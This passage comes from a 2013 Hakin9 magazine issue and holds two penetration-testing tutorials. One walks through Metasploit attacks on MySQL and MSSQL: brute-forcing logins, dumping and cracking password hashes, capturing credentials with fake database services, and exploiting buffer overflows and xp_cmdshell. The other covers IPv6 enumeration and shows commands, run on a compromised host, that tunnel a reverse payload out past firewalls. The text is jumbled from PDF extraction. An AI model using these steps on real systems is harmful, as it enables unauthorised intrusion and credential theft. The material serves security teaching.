The include statement can be used to include a particular functionality of the framework into our own module. For example, if we are building a scanner module then we can include as: Include Msf::Exploit::Remote::TCP

This line will include the functionality of a remote TCP scan in the module. This line will pull out the main scan module libraries from the metasploit library (Listing 5). The next few lines of script give us an introduction about the module like its name, version, au-

thor, description etc (Listing 6). The next few lines of the script are used to initialize values for the script. The options which are marked as ‘true’ are those which are essentially required for the modules whereas the options marked as false are optional. These values can be passed/changed during the execution of a module. The best way to learn about modules is by mastering ruby scripting and by analyzing existing modules. Let us analyse a simple module here in order to dive deeper into module building. We will be analyzing ftp anonymous access module. You can find the main script at the following lopentest/exploits/framework3/modules/ cation: auxiliary/scanner/ftp/anonymous.rb. Let us start with the analysis of the main script body to understand how it works. def run_host(target_host) begin res = connect_login(true, false)

Listing 10. Defining different columns def

app_list tbl = Rex::Ui::Text::Table.new( ‘Header’ => “Installed Applications”, ‘Indent’ => 1, ‘Columns’ => [ “Name”, ]) appkeys = [ ‘HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall’, ‘HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall’, ‘HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\ Uninstall’, ‘HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\ Uninstall’, ] apps = [] appkeys.each do |keyx86| found_keys = registry_enumkeys(keyx86) if found_keys found_keys.each do |ak| apps Password Attacks > Offline Attacks > crunch. Otherwise

The above command will create passwords between 6 and 8 characters long, consisting of ascii characters a,b,c,d,e and numbers 1,2,3,4,5,6 and will save the list into file passfile.lst (Figure 8). Using password lists Now that we have our password list stored in / pentest/passwords/crunch/passfile.lst, we can use it in mysql_login module. Set PASS_FILE /pentest/passwords/crunch/passfile.lst

Increase also the number of concurrent threads for a faster brute-force attack. SET THREADS 50 run mysql _ login (Figure 9) module offers 2 other options, USER _ FILE and USERPASS _ FILE. You can use a username file list to try various username values by setting the USER _ FILE option accordingly. With USERPASS _ FILE parameter you can use a file which contains both usernames and passwords in the same file separated by space and one pair per line.

Bypass MySQL Authentication

158

Figure 7. Starting brute-forcing database with passwords lists

Module mysql_authbypass_hashdump exploits a password bypass vulnerability in MySQL and

Figure 8. Generating a password list with crunch

Figure 10. Running mysql_authbypass_hashdump module

Figure 9. mysql brute-force attack using password list

Figure 11. mysql server hashes and usernames

TBO 01/2013

can extract usernames and encrypted passwords hashes from a MySQL server. To select it type: use auxiliary/scanner/mysql/mysql_hashdump

Set RHOSTS and THREADS option: set RHOSTS 192.168.200.133 set THREADS 50

and run the module. We can also set parameter username. set username root

Unlucky! (Figure 10)

Dump MySQL Password Hashes mysql_hashdump extracts the usernames and encrypted password hashes from a MySQL server. One can then use jtr_mysql_fast module to crack them. The module is located in auxiliary/ scanner/mysql. To use it set RHOSTS option to our target’s IP address and increase THREADS value. If you have managed to reveal root password then set also options USERNAME and PASSWORD. Run the module to get your precious results! (Figure 11)

Cracking passwords with John The Ripper Metasploit offers module jtr_mysql_fast.This module uses John the Ripper to identify weak passwords that have been acquired from the mysql_hashdump module. John the Ripper is a free and Open Source software password cracker, available for many operating systems such as

Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. After having acquired mysql hashes with mysql_ hashdump module, load jtr_mysql_fast module and run it. use auxiliary/analyze/jtr_mysql_fast run

This module offers options such as setting a custom path for john the ripper. The option that interests you the most is the Wordlist option, which is a path to your desired password list (Figure 12).

Getting the schema A database schema describes in a formal language the structure of the database, the organization of the data, how the tables, their fields and relationships between them must be defined and more. In general, database schema defines the way the database should be constructed. Metasploit has the module mysql_schemadump to get MySQL schema. mysql_schemadump is located under auxiliary/ scanner/mysql. To use it you have to set RHOSTS, USERNAME and PASSWORD options. If you are scanning more than one hosts increase THREADS value!

Let’s go Phishing Phishing is an attempt to steal sensitive information by impersonating a well known organization. In the same manner you can trick a user to steal her MySQL credentials. One of the abilities of Metasploit is this, mimic known services and capture user credentials. Among the various capture modules there is a module called mysql. This module provides a fake MySQL service that is designed to capture MySQL server authentication credentials. It captures challenge and response pairs that can be supplied to Cain or John the Ripper for cracking. To select the capture module type: use auxiliary/server/capture/mysql

Figure 12. jtr_mysql_fast module options

Figure 13. mysql capture module options

www.hakin9.org/en

This module offers some interesting options. You can set CAINPWFILE option to store captured hashes in Cain&Abel format or JOHNPWFILE to store hashes in John The Ripper format. Leave SRVHOST option as it is, 0.0.0.0, to listen on the local host. You can also set the SRVVERSION option, which is the version of the mysql server that will be reported to clients in the greeting response. This option must agree with the true

159

TOOLS mysql server version on the network if you don’t want to being detected. You can also configure the module to use SSL! (Figure 13) Run the module and connect to the capture mysql server from another computer on the network to see how it is working. To connect to a mysql server open a terminal and type: mysql -h ip_address -u root -p

Enter any password, for now, in mysql’s prompt and see what is happening in Metasploit! (Figure 14) Metasploit has captured the hash and now this hash is stored in cain and john format in files /tmp/ john and /tmp/cain. These are the files that I have chosen. Cain Format root NULL 94e243cab3181cvef73852s3011651369196a928 112263447569708899agbbfcddneff2113434455 SHA1

John format root:$mysqlna$1112263447569708899agbb fcddneff2113434455 * 94e243cab3181cvef73852s3011651369196a928

MySQL Exploiting MySQL database system is a very secure piece of software. Metasploit doesn’t offer many MySQL exploits. Although some exploits exist. YaSSL Exploits YaSSL is a lightweight embedded SSL library. Metasploit offers 2 exploits for this library. The mysql_yassl_getname and the mysql_yassl_hello. The mysql_yassl_getname exploits a stack buffer overflow in the yaSSL 1.9.8 and earlier and mysql_ yassl_hello exploits a stack buffer overflow in the yaSSL 1.7.5 and earlier. To use any exploit you have to select it: use exploit/linux/mysql/mysql_yassl_getname use exploit/linux/mysql/mysql_yassl_hello use exploit/windows/mysql/mysql_yassl_hello

As you can figure, the last exploit is for windows systems. After selecting your desired exploit, you have to select the payload. Each exploit offers a variety of payloads. You have to choose the most suitable for your target. To see a list of available payloads for the exploit type (Figure 15): show payloads

The most successful exploits usually are the reverse _ tcp payloads where the target machine connects back to you. Each payload offers some options. By typing Figure 14. mysql capture module in action

show options

you will see exploit’s and payload’s options (Figure 16).

Figure 15. Exploit’s and payload’s options

Figure 16. mysql_yassl_hello exploit payloads

160

Other MySQL Exploits We should mention here two more exploits that are available for MySQL systems that run on Windows servers. The mysql_payload and the scrutinizer_ upload_exec. The first exploit, mysql_payload, creates and enables a custom UDF on the target. On default Microsoft Windows installations of MySQL 5.5.9 and earlier, directory write permissions are not enforced, and the MySQL service runs as LocalSystem. This module will leave a payload executable on the target system and the UDF DLL, and will define or redefine sys_eval() and sys_ exec() functions. The scrutinizer_upload_exec module exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer, a network traffic monitoring and analysis tool. By default, the soft-

TBO 01/2013

ware installs a default password in MySQL, and binds the service to “0.0.0.0”. This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of ‘SYSTEM’.

We are in! And now what? Metasploit offers two modules that will assist you to enumerate a MySQL service or execute sql queries. All you need is a valid user-password pair. mysql_enum allows for simple enumeration of MySQL Database Server and mysql_sql allows for simple SQL statements to be executed against a MySQL instance. To select them, type:

store, retrieve and manage information. As with many Microsoft’s products, SQL Server has many security weaknesses. Let’s start by identifying running SQL servers on the network. Discover open MSSQL ports MSSQL is running by default on port 1433. To discover SQL Server you can use either nmap or Metasploit’s auxiliary module. The NMAP way To discover open MSSQL ports we execute the following command: nmap -sT -sV -Pn -p 1433 192.168.200.133

and execute the command

Usually administrators, when they need more than one instances of SQL server they run the second instance at port 1434.

show options

nmap -sT -sV -Pn -p 1433,1434 192.168.200.133

to get a list of available options (Figure 17). To use mysql_sql execute (Figure 18):

Parameters:

use auxiliary/admin/mysql/mysql_enum

and

-sT: TCP connect scan -sV: Determine Service version information -Pn: Ignore Host discovery -p 1433,1434: Scan port 1433 and 1434

show options

Scanning the whole network

Attacking a Microsoft SQL Server

nmap -sT -sV -Pn -–open -p 1433,1434 192.168.200.0/24

Microsoft SQL Server (MSSQL) is a relational database management system (RDBMS) used to

Parameters:

Figure 17. mysql_enum module options

Figure 19. mssql_ping module options

Figure 18. mysql_sql module options

Figure 20. mssql_ping module in action

use auxiliary/admin/mysql/mysql_sql

www.hakin9.org/en

161

TOOLS --open: Show only open ports

The Metasploit way Metasploit offers auxiliary module mssql_ping. This module discovers running MSSQL services. To use it, type: use auxiliary/scanner/mssql/mssql_ping

Type: show options

for a list of available options (Figure 19). To discover all running MSSQL services on the net, set RHOSTS value equal to 192.168.200.0/24, assuming that your target network is in this range, increase threads value for a faster scanning and run the module (Figure 20).

Brute forcing MSSQL Auxiliary module mssql_login is working in the same manner as mysql_login does. It will query the MSSQL instance for a specific username and password pair. The options for this module are: Figure 21. The default administrator's username for SQL server is sa. In the options of this module, you can specify a specific password, or a password list, a username list or a username-password list where usernames and passwords are separated by space and each pair is in a new line. Having set your options simply run the module and wait for your results! You can create your own password

list file, like we did in the first chapter where we used mysql_login module.

Dump MSSQL Password Hashes mssql_hashdump extracts the usernames and encrypted password hashes from a MSSQL server and stores them for later cracking with jtr_mssql_ fast. This module also saves information about the server version and table names, which can be used to seed the wordlist. The module is located in auxiliary/scanner/mssql. To use it set RHOSTS option to our target’s ip address and increase THREADS value to 50. If you have managed to reveal root password then set also options USERNAME and PASSWORD. Run the module! (Figure 22).

Cracking mssql passwords with John The Ripper Metasploit offers module jtr_mssql_fast. This module works in the same manner as jtr_mysql_ fast does. It uses John the Ripper to identify weak passwords that have been acquired from the mssql_hashdump module. After having acquire mssql encrypted hashes with mssql_hashdump module, load jtr_mssql_fast and run it. use auxiliary/analyze/jtr_mssql_fast

and run

You should set the Wordlist option which is the path to your desired password list (Figure 23).

Getting Microsoft SQL Server schema

Figure 21. mssql_login options

Figure 22. mssql_hashdump module

162

Metasploit offers the module mssql_schemadump to retrieve MSSQL schema. mssql_schemadump is located under auxiliary/scanner/mssql. This module attempts to extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such as master,model,msdb, and tempdb. The module will create a note for

Figure 23. jtr_mssql_fast module options

TBO 01/2013

each DB found, and store a YAML formatted output as loot for easy reading.To use it you have to set RHOSTS, USERNAME and PASSWORD options. If you are scanning more than one hosts increase the THREADS value to get results faster.

Phishing with MSSQL Metasploit has also a mssql capture module, called mssql. This module provides a fake MSSQL service that is designed to capture MSSQL server authentication credentials. The module supports both the weak encoded database logins as well as Windows login (NTLM). To select the capture module type: use auxiliary/server/capture/mssql

You can set CAINPWFILE option to store captured hashes in Cain&Abel format or JOHNPWFILE to store hashes in John The Ripper format. Leave SRVHOST option as it is, 0.0.0.0, to listen on the local host. You can configure the module to use SSL (Figure 24). Run the module and connect to the capture mssql server from another computer on the network to see how it is working. To connect to a mssql server open your Microsoft SQL Server management studio and try to login to the running service (Figure 25). Metasploit has captured the username and the password the user entered to login to the fake MSSQL service.

Exploiting the Microsoft world Metasploit offers some MSSQL exploits. Let’s take a look.

SQL Server 2000 SQL server 2000 is a very old version of Microsoft SQL Server and is hard to find it on Production environments nowdays. ms02_039_slammer exploits a resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. To select it for use simply type: use exploit/windows/mssql/ms02_039_slammer

Another exploit module for SQL Server 2000 is ms02 _ 056 _ hello. ms02 _ 056 _ hello is an exploit which will send malformed data to TCP port 1433 to overflow a buffer and possibly execute code on the server with SYSTEM level privileges. To select it, type: use exploit/windows/mssql/ms02_056_hello

SQL Server 2000 – SQL Server 2005 ms09_004_sp_replwritetovarbin and ms09_004_ sp_replwritetovarbin_sqli exploit a heap-based buffer overflow that occur when calling the undocumented “sp_replwritetovarbin” extended stored procedure. This vulnerability affects all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database, and Microsoft Desktop Engine without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005. To use these exploits you type: use exploit/windows/mssql/ms09_004_sp_ replwritetovarbin

or use exploit/windows/mssql/ms09_004_sp_ replwritetovarbin_sqli

As with any Metasploit module, you can type Figure 24. mssql capture module options

Figure 25. Login attempt captured by mssql capture module

www.hakin9.org/en

show options

Figure 26. ms09_004_sp_replwritetovarbin_sqli module options

163

TOOLS to get a list of available options (Figure 26). Type show payloads

to get a list of available of payloads for the selected exploit. SQL Server database systems Metasploit offers the module, exploit/windows/ mssql/mssql_payload, which executes an arbitrary payload on a Microsoft SQL Server by using the “xp_cmdshell” stored procedure. Three delivery methods are supported. The original method uses Windows ‘debug.com’. Since this method invokes ntvdm, it is not available on x86_64 systems. A second method takes advantage of the Command Stager subsystem. This allows using various techniques, such as using a TFTP server, to send the executable. By default the Command Stager uses ‘wcsript.exe’ to generate the executable on the target. Finally, ReL1K’s latest method utilizes PowerShell to transmit and recreate the payload on the target. Another interesting exploit module that can be applied in all SQL Server versions is the exploit/ windows/mssql/mssql_payload_sqli. This module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once a vulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is necessary to specify the exact point where the SQL injection vulnerability happens. You should use a “reverse” payload on port 80 or to any other outbound port allowed on the firewall.

From inside Metasploit offers various modules that will assist you to enumerate a MSSQL service, execute sql queries, retrieve useful data and many more. All you need is a valid user-password pair. mssql_enum will perform a series of configuration audits and security checks against a Microsoft SQL Server database. mssql_sql and mssql_sql_file will allow for simple SQL statements to be executed against a MSSQL/MSDE or multiple SQL queries contained within a specified file. To select them, type: use auxiliary/admin/mssql/mssql_enum

or use auxiliary/admin/mssql/mssql_sql

or use auxiliary/admin/mssql/mssql_sql_file

and execute the following command to see the options (Figure 27) show options

Sample Data There is an amazing module called mssql_ findandsampledata. This module will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS option. If column names are found that match the defined keywords and data is present in the associated tables, the module will select a sample of the records from each of the affected tables. You have to set the the sample size by configuring the SAMPLE_SIZE option. Your results will be stored in CSV format. Type use auxiliary/admin/mssql/mssql_findandsampledata

and

164

Figure 27. mssql_sql_file module options

show options

Figure 28. mssql_findandsampledata module options

Figure 29. mssql_idf module options

TBO 01/2013

Executing Windows Commands If you have managed to find a valid username – password pair, the most desired thing that you would like to do is to execute a command on the compromised machine. Metasploit offers module auxiliary/admin/mssql/mssql_exec which will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell procedure. All you need is the username and password!! Data mining If you need to search for specific information in SQL Server databases there is a module that can make your life easier. Its name, mssql_idf, and you will find it under auxiliary/admin/mssql/. This module will search the specified MSSQL server for ‘interesting’ columns and data. The module is working against SQL Server 2005 and SQL Server 2008 (Figure 29).

Conclusion Databases are the most important part of today’s computing systems. They usually contain all the information needed to run a company or organization. Therefore it is necessary to be as safe as possible. Metasploit framework is just one tool of many out there, that offers the appropriate scripts to compromise a database system. Databases are software that must be accessed by applications running on the Internet, that’s why they must be guarded by firewalls, use encryption and powerfull passwords and the whole system (database and operating system) must be checked every day for new updates and upgrades. The best choice would be to allow access to your database only from your intranet and/or vpn. Try not to expose your database directly to the web. Close all your database system ports now!

GEORGE KARPOUZAS

George Karpouzas is the co-founder and owner of WEBNETSOFT, a Software development, Computers security and IT services company in Greece. He is working as a software developer for the past seven years. He is a penetration tester, security researcher, information security consultant and software developer at WEBNETSOFT. He holds a bachelor’s of science in computer science from Athens University of Economics and Business. You can find the answers to any security questions on his blog http:// securityblog.gr.

www.hakin9.org/en

TOOLS

How to Explore the IPv6 Attack Surface with Metasploit

IPv6 is often described as a parallel universe, co-existing alongside existing IPv4 infrastructure in a bid to ease the transition process. Often left unmanaged and unmonitored in networks, those IPv6 packets could provide a great opportunity for the savvy attacker. Thanks to the Metasploit framework, exploring the IPv6 attack surface has become a lot easier.

E

arlier this year, the creators of the Metasploit Framework introduced support for IPv6. Adding tools to allow attackers and defenders to explore this brave new world, and the increased attack surface it can offer. In this article we will introduce Metasploit’s three IPv6 enumeration modules, how to use them, and what they are doing “under the hood”. We’ll also cover the core IPv6 concepts that allow these modules to function as they do. Finally, we’ll take a look a configuring an IPv6 tunnel from a compromised host, to allow the use of a reverse connection IPv6 payload over the IPv6 Internet. I find few commands as satisfying to execute as “msfupdate”. To many this may sound like a strange statement, but there are plenty of people who will completely understand where I’m coming from. Every time I enter “msfupdate”, I sit back in my chair and watch as my copy of the Metasploit Framework connects to the Metasploit servers and downloads the latest modules. I run that command at least daily, and every time I do, it always grabs me something new to dissect and work into my penetration-testing toolbox. I’m often surprised by the frequency and volume of some of the updates, but really I shouldn’t be. After all, the whole purpose of the Metasploit project is to provide a modular framework that allows exploits to be written in a standardized fashion to encourage community collaboration. Still, it’s refresh-

166

ing to see that even after the project transitioned from a “pure” open source project to commercially owned and operated one (Metasploit was acquired by Rapid 7 in 2009), the community is still contributing, and those contributions are still released under the original open-source license. According to Rapid 7, this will never change.

Figure 1. Typical output from “msfupdate” containing new additions and updates to existing

TBO 01/2013

Earlier this year “msfupdate” fetched some updates that made me lean forward faster and look a little closer than perhaps I normally would. Metasploit downloaded a selection of modules with “IPv6” in the description. IPv6 has been creeping into our lives over the past several years. Our operating systems, network equipment and phones have been gradually adding support for the new version of the protocol that will keep future networks and the internet running, when the current version of the internet protocol (IPv4) is finally retired due to address space exhaustion. As you might expect, IPv6 offers some advantages over its predecessor. Primarily, the vast address space will ensure that theoretically every grain of sand on the planet could own an Internet connected device and not have to worry about hiding behind a NAT’ed IP. Additionally, IPv6 supports stateless auto-configuration – meaning that network administrators will no longer have to set up and manage DHCP servers, as IPv6 can “figure itself out” via the use of such mechanisms as neighbor discovery protocol messages sent via ICMP version 6. This is by no means an extensive list of differences, but I’d like to pause and consider the second “advantage” of IPv6 I’ve just mentioned from a security perspective. It’s this feature of IPv6 that the first batch of Metasploit IPv6 modules take advantage of. One thing should be made very clear before we go any further. IPv6 is not any more or less secure than IPv4. They both do different things in different ways, and understanding the differences

is key for network administrators to successfully implement the new protocol in a secure fashion. The biggest insecurity in IPv6 at the moment is that there are very few IPv6-only networks out there. 99% of the time you’ll find spots of IPv6 traffic wandering across the same wires as its older sibling, quietly going about its business. Similarly, 99% of the time you can ask a network administrator what they think that traffic is up to and they’ll reply with something along the lines of “erm, well that’s just noise, we don’t use IPv6 yet”. They likely aren’t doing anything with v6 just yet, but that doesn’t mean the devices sitting on the network aren’t. Out of the box, IPv6 is designed to “go find the quickest way to the Internet”. When you think of it like that, perhaps it’s time for network admins to “get all up” in IPv6’s business and see what it’s up to. After all, if devices are using it to communicate freely, then so can we. Currently Metasploit features a handful of scanner modules for IPv6 discovery, and IPv6 enabled versions of its traditional payloads. A quick and easy way to locate the IPv6 modules is to run the command “search ipv6” from within the Metasploit Console (Figure 2). Let’s take a moment to dissect the scanner modules, and what we can learn from them. First up is “ipv6_multicast_ping”, written by wuntee. This module sends a number of ICMPv6 packets to the various IPv6 addresses that are defined as multicast addresses, to which all IPv6 enabled hosts should respond. Then it listens for the ICMPv6 echo-reply responses and records both the IPv6 address and the hardware (MAC) ad-

Figure 2. Currently Metasploit offers three auxiliary scanner modules for IPv6 discovery and multiple payloads that run over IPv6

www.hakin9.org/en

167

TOOLS dress of the responding host. Very quickly we can learn which hosts on our local network are IPv6 enabled. When configuring the module we have the option of specifying the source IPv6 address and source MAC. The only mandatory option is a timeout, which is set at 5 seconds by default (Figure 3). Let’s take a closer look at the IPv6 multicast addresses we ping with this module. IPv6 addresses have a “scope” in which they are considered valid and unique. This could be an address in the global scope, the site scope, link-local or interface local scope. Each scope features a well-known multicast address, which certain types of host are expected to join. The module has a sequential list of those addresses that it works its way through. We can pull those addresses from the Ruby code for the module. • FF01::1 – All nodes on the interface-local scope. • FF01::2 – All routers in the interface-local scope. • FF02::1 – All nodes in the link-local scope. • FF02::2 – All routers on the link-local scope. • FF02::5 – All OSPFv3 link state routers. • FF02::6 – All OSPFv3 designated routers. • FF02::9 – All RIP routers. • FF02::a – All EIGRP routers. • FF02::d – All Protocol Independent Multicast routers. • FF02::16 – Multicast Lister Discovery reports. • FF02::1:2 – All DHCP servers in the link-local scope. • FF05::1:3 – All DHCP servers in the site-local scope. To better understand the idea of IPv6 scopes we can compare them to their IPv4 equivalents. The global scope is best compared to any public IP address range in IPv4. A global IPv6 address can

Figure 3. Quickly locating nearby IPv6 enabled hosts with ipv6_multicast_ping

168

uniquely identify a host on the Internet. Site-local should be considered equivalent to RFC1918 private IP addressing and is used within a specific site, such as an office. Interface-local is similar to an APIPA or 169.* IPv4 address, and is automatically generated to allow communication across a link without the need for any other routing information. One difference between link-local addresses in IPv6 and IPv4 is that there always needs to be one assigned to every IPv6 enabled interface – even when it has other addresses. That means that as long as there is IPv6 on the network, there will be link-local addresses in the link-local multicast scope. You can spot a link-local address because it will have the prefix “fe80”. As you might expect, these addresses cannot be routed over the Internet. So while they can be used to communicate with a machine in the same layer 2 broadcast domains as the host you are working from, if you want to be able to have fun across the IPv6 Internet, a global address is required. We’ll talk about obtaining one of those later. Our next Metasploit module is “ipv6_neighbor”, created by belch . This enumeration module takes advantage of Neighbor Discovery Protocol (NDP). NDP uses a subset of ICMPv6 packets used by IPv6 to perform various auto-configuration and link state monitoring tasks to find the link-local addresses of IPv6 hosts within the same segment. As an aside, one such NDP task is determining if it’s intended link-local address is already in use. This process, imaginatively called duplicate address detection (DAD), is actually prone to denial of service. Tools exist, although not presently modulized in Metasploit, which will respond to all DAD requests with “address in use” messages. This will prevent any new IPv6 devices that join the network

Figure 4. Mapping the relationship between IPv4 and IPv6 link-local addresses

TBO 01/2013

from configuring a link-local address, as every option it advertises will be reported as a duplicate. One such tool for this task is “dos-new-ip6” written by van Hauser. Back to the module in question. Its purpose is to take an IPv4 range and show you the relationship between the IPv4 and IPv6 addresses on the target network. This allows you to quickly identify which hosts are dual-stacked, that is, running both IPv4 and IPv6 side by side (Figure 4). To do this it actually completes two tasks as part of its execution. The first is a blast from the past – we perform an ARP sweep of the given IPv4 range, to learn the MAC address of each IPv4 host. Secondly it will send an ICMPv6 neighbor solicitation packet, from which we’ll learn the MAC address of the IPv6 enabled host. Compare the two MAC addresses, if any match – we have our mapping. Seeing these two processes side-by-side is interesting as ICMPv6 neighbor discovery is IPv6’s ARP replacement, and we can compare the way they go about doing the same job. Unlike IPv4, IPv6 does not implement broadcast. The reason for this is efficiency. Traditional ARP uses broadcast to query all the hosts on the subnet to find the MAC address of an IPv4 host so it can make a layer 2 delivery. In other words, everyone gets bugged every time someone wants to locate a MAC address. In IPv6, the process relies on multicasting – which is means that fewer hosts get bugged and the address resolution process is much quicker. Neighbor solicitation packets are sent to a special kind of multicast address – known as a solicited-node multicast address. Each IPv6 interface will have such an address and its purpose is to provide the layer 2 (mac address) of the host. These addresses are generated using an simple algorithm, which will drop all but the last 24 bits of the hosts regular unicast address and append it with the prefix FF02::1:FF00:0/104. Using Wireshark to capture the ICMPv6 packets sent out by the Metasploit module we can see these addresses in action (Figure 5). Notice how in packets 231 and 232, we send a neighbor solicitation to the solicited-node multicast address ff02::1:ff8f:ddb3, and we get our response back in the form of a neighbor advertisement from the unicast link-local address of the host (fe80::7256:81ff:fe8f:ddb3). An ICMPv6 neighbor advertisement can either be sent in response to a solicitation, as we’ve just shown, or it can be sent unsolicited to an all-node multicast address to inform neighbors of a change in address or link state.

www.hakin9.org/en

TOOLS The final scanner module currently in Metasploit is ipv6_neighbour_router_advertisement, which like ipv6_multicast_ping is also written by wuntee. ICMPv6 router advertisements and solicitations are fairly similar to neighbor advertisements and solicitations, but as you can probably guess, are used to discover routers rather than “regular” hosts. Routers transmit advertisements on a regular basis via multicast, and also in response to router solicitations from hosts on the network. This module will aim to enumerate link-local IPv6 addresses by crafting and transmitting false router advertisements for a new network prefix via multicast. In turn this will trigger any hosts in that multicast scope to start the auto-configuration process, create a new global IPv6 address on its interface and send a neighbor advertisement for that address. The module will then manipulate the IPv6 address in the advertisement, dropping the newly acquired global prefix and replacing it with the standard link-local prefix. Finally, to confirm that the enumerated address is in fact alive it will send out a neighbor solicitation message. This works under the assumption that the operating system uses the same interface portion of the IPv6 address on all of its addresses (Figure 6). So let’s take a closer look at the module in action. We don’t need to provide any options other than a couple of timeout parameters, which by default are

set at 5 and 1 seconds respectively. Once we run the module it will begin sending advertisements for the network prefix 2001:1234:dead:beef to the multicast address FF02::1, which as we know from earlier is “all nodes in the link-local scope”. Incidentally, this network prefix is hard coded into the module’s source (Figure 7). Upon receipt of the advertisement all hosts on the local scope will begin auto-configuration of a new IPv6 address within the new prefix (Figure 8). Of the three enumeration modules we’ve looked at, this is by far the nosiest and therefore the most likely to be detected. We are actually taking the time to set an address on the remote host, and there is no guarantee that the interface portion of the new address will match the link-local address calculated by the module. Some systems implement randomization in the interface portion. Having said that, it’s always good to have different ways of achieving the same goal! So far we’ve concentrated on the auxiliary modules in the Metasploit framework and doing some basic IPv6 enumeration in the link-local scope. This is an important first step and assumes that you already have some sort of foothold into the network, but let’s say we now want to take things one-step further. We are going to try a break out onto the IPv6 Internet, and that means we’ll need a tunnel. The idea of tunneling out using IPv6 encapsulated in IPv4 packets is a very attractive proposition,

Figure 5. ICMPv6 NDP packets, sent initially to the solicited-node multicast addresses of each host

Figure 6. Using false router advertisements with “ipv6_ neighbor_router_advertisement” to obtain link-local addresses

170

Figure 7. Sending an ICMPv6 router advertisement message for the network prefix “2001:1234:dead:beef”, as captured by Wireshark

TBO 01/2013

as many controls, such as IPS/IDS and firewalls will not be configured to alert on or prevent such traffic leaving. So the scenario is as follows – we’ve compromised a Linux machine using Metasploit and we have a shell. The host has IPv6 support and a link-local address. Now we want to create a global IPv6 address on the box to allow it to communicate back to us over the IPv6 Internet for extra obscurity. You need two things to get an IPv6 tunnel to work – a tunnel broker, of which there are plenty, many of them are free of charge. Secondly, if the box you are working on is behind a NAT device, it must support the forwarding of protocol 41 – in other words, IPv6 encapsulated in IPv4. If we are behind a NAT device that doesn’t forward protocol 41, we are out of luck (Figure 9). For the purposes of this example I’ll be using a tunnel provided by Hurricane Electric (he.net). Once signed up, the tunnel broker provides both a client and server IPv6 address, and an IPv4 address of the tunnel broker server. These values will be as follows: HE.net Tunnel Server IPv4 address – 72.52.104.74 HE.net Tunnel Server IPv6 address – 2001:DB8::20 Target Network Outside NAT IPv4 address – 1.1.1.1

Target Machine IPv4 Address – 192.168.0.115 Target Machine IPv6 Address – 2001:DB8::21

Note You may have noticed the outside IPv4 and IPv6 addresses used in this example will not work in real life. The IPv6 address prefix I’ve used is reserved for documentation, and is not routable over the Internet. When configuring the tunnel in the he.net site, you must provide the outside IPv4 address of the target. It should also be noted, that he.net site requires that this address responds to ping (Figure 10). Back on our victim machine, we run a few commands to bring up the new tunnel interface and set up a route to ensure all IPv6 traffic goes via that new interface. “ip tunnel add ipv6inet mode sit remote 72.52.104.74 local 192.168.0.115 ttl 255” – This creates a SIT (simple internet transition) interface named ipv6inet and defines the local and remote IPv4 addresses for the tunnel endpoints, or in other words, the IP of the target machine and tunnel server. “ip link set ipv6inet up” – This brings the tunnel interface up.

Figure 8. Two outputs of “ifconfig” on a Mac OS X machine on the same network as our Metasploit instance. The first output is pre-false advertisement, the second is just after. Notice the addition of a “dead:beef” IPv6 address, thanks to auto-configuration

Figure 10. Signing up for an IPv6 tunnel from Hurricane Electric (ipv6.he.net)

Figure 9. On the compromised Linux host “webapp1”, eth0 has an IPv4, and link-local IPv6 address

Figure 11. Creating an IPv6 tunnel interface on the target machine

www.hakin9.org/en

171

TOOLS ip addr add 2001:db8::21 dev ipv6inet – This assigns the IPv6 address to the interface. ip route add ::/0 dev ipv6inet – This command will add a route to send all IPv6 traffic across the new tunnel interface (Figure 11). A quick way to confirm that the IPv6 Internet is now within our reach is to use the ping6 utility to hit an IPv6 website. In this case ipv6.google. com, which has the address 2607:f8b0:400e:c00 ::93. This tunnel can now be used by a Metasploit reverse connection payload to connect to an attacker with a global IPv6 address of their own, which of course can be obtained in exactly the same way as we’ve just shown. Let’s say in this example we want our payload to connect back to us at the address 2001:db8::99 (Figure 13). Configuring an IPv6 payload in Metasploit is essentially the same as an IPv4 payload, but there are a couple of minor differences. Obviously, you must specify an IPv6 address for your listener (or target if a binding payload), and also if using a linklocal address on a host with multiple interfaces, you should specify the scope ID.

Figure 12. Sending ping packets to Google over the IPv6 Internet using our new tunnel interface

To summarize, let’s take one last look at the scenario we’ve just discussed (Figure 14).

Conclusion For many out there, the mere sight of an IPv6 address is enough to put them off learning more about the protocol. This is the biggest vulnerability in IPv6, and like most security vulnerabilities, it’s a human problem. The protocol is being adopted in devices at a much quicker rate than people are willing to manage and configure it properly. For attackers, this provides great opportunities to jump on the unmanaged jumble and use it to build something that can be used to move around networks in ways that the owners of those networks aren’t expecting. For defenders, this means developing a whole new security model with emphasis on securing the endpoints rather than the perimeter. After all, IPv6 doesn’t hide behind NAT like its predecessor. By introducing IPv6 payloads and modules the Metasploit framework has given both groups new tools to better understand and manipulate the IPv6 protocol. Of course, we are only just getting started. The nature of the Metasploit community is to constantly build, innovate and improve upon what is already in place. These initial modules will act as a catalyst for further development in IPv6 enumeration and exploitation. Remember that the next time you run “msfupdate”, and keep one eye open for new ways to use IPv6 for exploitation.

Figure 13. Setting up an IPv6 payload in Metasploit

MIKE SHEWARD

Figure 14. An overview of our IPv6-over-IPv4 tunnel set up

172

Mike Sheward is a security specialist for a software-as-a-service provider based in Seattle. He began his career as a network engineer working in the British public sector. During this time he developed a passion for security and started on a path that led him to a full-time security role with a private organization. Mike has performed penetration testing for a wide range of public and private sector clients, has been involved in a number of digital forensics investigations and has delivered security training to fellow IT professionals.

TBO 01/2013

HAKIN9 EXTRA

